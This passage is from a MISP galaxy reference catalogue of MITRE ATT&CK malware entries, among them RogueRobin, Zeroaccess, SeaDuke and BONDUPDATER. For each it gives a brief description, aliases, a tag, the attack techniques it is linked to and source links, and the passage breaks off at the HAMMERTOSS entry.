[RogueRobin](https://attack.mitre.org/software/S0270) is a payload used by [DarkHydrus](https://attack.mitre.org/groups/G0079) that has been developed in PowerShell and C#. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)

The tag is: misp-galaxy:mitre-malware="RogueRobin - S0270"

RogueRobin - S0270 is also known as:

RogueRobin

RogueRobin - S0270 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"

Table 3162. Table References
Links
https://attack.mitre.org/software/S0270
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/

Vasport - S0207

[Vasport](https://attack.mitre.org/software/S0207) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)

The tag is: misp-galaxy:mitre-malware="Vasport - S0207"

Vasport - S0207 is also known as:

Vasport

Vasport - S0207 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 3163. Table References
Links
https://attack.mitre.org/software/S0207
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99

Zeroaccess - S0027

[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)

The tag is: misp-galaxy:mitre-malware="Zeroaccess - S0027"

Zeroaccess - S0027 is also known as:

Zeroaccess
Trojan.Zeroaccess

Zeroaccess - S0027 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

Table 3164. Table References
Links
https://attack.mitre.org/software/S0027
https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf

SHIPSHAPE - S0028

[SHIPSHAPE](https://attack.mitre.org/software/S0028) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

The tag is: misp-galaxy:mitre-malware="SHIPSHAPE - S0028"

SHIPSHAPE - S0028 is also known as:

SHIPSHAPE

SHIPSHAPE - S0028 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

Table 3165. Table References
Links
https://attack.mitre.org/software/S0028
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Emissary - S0082

[Emissary](https://attack.mitre.org/software/S0082) is a Trojan that has been used by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It shares code with [Elise](https://attack.mitre.org/software/S0081), with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)

The tag is: misp-galaxy:mitre-malware="Emissary - S0082"

Emissary - S0082 is also known as:

Emissary

Emissary - S0082 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 3166. Table References
Links
https://attack.mitre.org/software/S0082
http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/

MirageFox - S0280

[MirageFox](https://attack.mitre.org/software/S0280) is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012. (Citation: APT15 Intezer June 2018)

The tag is: misp-galaxy:mitre-malware="MirageFox - S0280"

MirageFox - S0280 is also known as:

MirageFox

MirageFox - S0280 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 3167. Table References
Links
https://attack.mitre.org/software/S0280
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/

Pasam - S0208

[Pasam](https://attack.mitre.org/software/S0208) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)

The tag is: misp-galaxy:mitre-malware="Pasam - S0208"

Pasam - S0208 is also known as:

Pasam

Pasam - S0208 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3168. Table References
Links
https://attack.mitre.org/software/S0208
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99

Darkmoon - S0209

is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)

Aliases: Darkmoon

The tag is: misp-galaxy:mitre-malware="Darkmoon - S0209"

Darkmoon - S0209 has relationships with:

similar: misp-galaxy:malpedia="Darkmoon" with estimative-language:likelihood-probability="likely"
revoked-by: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"

Table 3169. Table References
Links
https://attack.mitre.org/software/S0209

Gooligan - S0290

[Gooligan](https://attack.mitre.org/software/S0290) is a malware family that runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal authentication tokens that can be used to access data from many Google applications. [Gooligan](https://attack.mitre.org/software/S0290) has been described as part of the Ghost Push Android malware family. (Citation: Gooligan Citation) (Citation: Ludwig-GhostPush) (Citation: Lookout-Gooligan)

The tag is: misp-galaxy:mitre-malware="Gooligan - S0290"

Gooligan - S0290 is also known as:

Gooligan
Ghost Push

Gooligan - S0290 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"

Table 3170. Table References
Links
https://attack.mitre.org/software/S0290
http://blog.checkpoint.com/2016/11/30/1-million-google-accounts-breached-gooligan/
https://plus.google.com/+AdrianLudwig/posts/GXzJ8vaAFsi
https://blog.lookout.com/blog/2016/12/01/ghost-push-gooligan/

MazarBOT - S0303

[MazarBOT](https://attack.mitre.org/software/S0303) is Android malware that was distributed via SMS in Denmark in 2016. (Citation: Tripwire-MazarBOT)

The tag is: misp-galaxy:mitre-malware="MazarBOT - S0303"

MazarBOT - S0303 is also known as:

MazarBOT

MazarBOT - S0303 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Premium SMS Toll Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"

Table 3171. Table References
Links
https://attack.mitre.org/software/S0303
https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/

NetTraveler - S0033

[NetTraveler](https://attack.mitre.org/software/S0033) is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)

The tag is: misp-galaxy:mitre-malware="NetTraveler - S0033"

NetTraveler - S0033 is also known as:

NetTraveler

NetTraveler - S0033 has relationships with:

similar: misp-galaxy:tool="NetTraveler" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="NetTraveler" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 3172. Table References
Links
https://attack.mitre.org/software/S0033
http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf

BUBBLEWRAP - S0043

[BUBBLEWRAP](https://attack.mitre.org/software/S0043) is a full-featured, second-stage backdoor used by the [admin@338](https://attack.mitre.org/groups/G0018) group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)

The tag is: misp-galaxy:mitre-malware="BUBBLEWRAP - S0043"

BUBBLEWRAP - S0043 is also known as:

BUBBLEWRAP
Backdoor.APT.FakeWinHTTPHelper

BUBBLEWRAP - S0043 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3173. Table References
Links
https://attack.mitre.org/software/S0043
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

NETEAGLE - S0034

[NETEAGLE](https://attack.mitre.org/software/S0034) is a backdoor developed by [APT30](https://attack.mitre.org/groups/G0013) with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.” (Citation: FireEye APT30)

The tag is: misp-galaxy:mitre-malware="NETEAGLE - S0034"

NETEAGLE - S0034 is also known as:

NETEAGLE

NETEAGLE - S0034 has relationships with:

similar: misp-galaxy:malpedia="NETEAGLE" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3174. Table References
Links
https://attack.mitre.org/software/S0034
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Octopus - S0340

[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan.(Citation: Securelist Octopus Oct 2018)

The tag is: misp-galaxy:mitre-malware="Octopus - S0340"

Octopus - S0340 is also known as:

Octopus

Octopus - S0340 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 3175. Table References
Links
https://attack.mitre.org/software/S0340
https://securelist.com/octopus-infested-seas-of-central-asia/88200/

Riltok - S0403

[Riltok](https://attack.mitre.org/software/S0403) is banking malware that uses phishing popups to collect user credentials.(Citation: Kaspersky Riltok June 2019)

The tag is: misp-galaxy:mitre-malware="Riltok - S0403"

Riltok - S0403 is also known as:

Riltok

Riltok - S0403 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"

Table 3176. Table References
Links
https://attack.mitre.org/software/S0403
https://securelist.com/mobile-banker-riltok/91374/

SPACESHIP - S0035

[SPACESHIP](https://attack.mitre.org/software/S0035) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

The tag is: misp-galaxy:mitre-malware="SPACESHIP - S0035"

SPACESHIP - S0035 is also known as:

SPACESHIP

SPACESHIP - S0035 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 3177. Table References
Links
https://attack.mitre.org/software/S0035
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

SeaDuke - S0053

[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)

The tag is: misp-galaxy:mitre-malware="SeaDuke - S0053"

SeaDuke - S0053 is also known as:

SeaDuke
SeaDaddy
SeaDesk

SeaDuke - S0053 has relationships with:

similar: misp-galaxy:malpedia="SeaDaddy" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 3178. Table References
Links
https://attack.mitre.org/software/S0053
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

zwShell - S0350

[zwShell](https://attack.mitre.org/software/S0350) is a remote access tool (RAT) written in Delphi that has been used by [Night Dragon](https://attack.mitre.org/groups/G0014).(Citation: McAfee Night Dragon)

The tag is: misp-galaxy:mitre-malware="zwShell - S0350"

zwShell - S0350 is also known as:

zwShell

zwShell - S0350 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"

Table 3179. Table References
Links
https://attack.mitre.org/software/S0350
https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf

BONDUPDATER - S0360

[BONDUPDATER](https://attack.mitre.org/software/S0360) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)

The tag is: misp-galaxy:mitre-malware="BONDUPDATER - S0360"

BONDUPDATER - S0360 is also known as:

BONDUPDATER

BONDUPDATER - S0360 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 3180. Table References
Links
https://attack.mitre.org/software/S0360
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html
https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/

FLASHFLOOD - S0036

[FLASHFLOOD](https://attack.mitre.org/software/S0036) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

The tag is: misp-galaxy:mitre-malware="FLASHFLOOD - S0036"

FLASHFLOOD - S0036 is also known as:

FLASHFLOOD

FLASHFLOOD - S0036 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3181. Table References
Links
https://attack.mitre.org/software/S0036
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

SHOTPUT - S0063

[SHOTPUT](https://attack.mitre.org/software/S0063) is a custom backdoor used by [APT3](https://attack.mitre.org/groups/G0022). (Citation: FireEye Clandestine Wolf)

The tag is: misp-galaxy:mitre-malware="SHOTPUT - S0063"

SHOTPUT - S0063 is also known as:

SHOTPUT
Backdoor.APT.CookieCutter
Pirpi

SHOTPUT - S0063 has relationships with:

similar: misp-galaxy:tool="Pirpi" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 3182. Table References
Links
https://attack.mitre.org/software/S0063
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html

HAMMERTOSS - S0037

[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)

The tag is: misp-galaxy:mitre-malware="HAMMERTOSS - S0037"

HAMMERTOSS - S0037 is also known as:

HAMMERTOSS
HammerDuke
NetDuke

HAMMERTOSS - S0037 has relationships with:

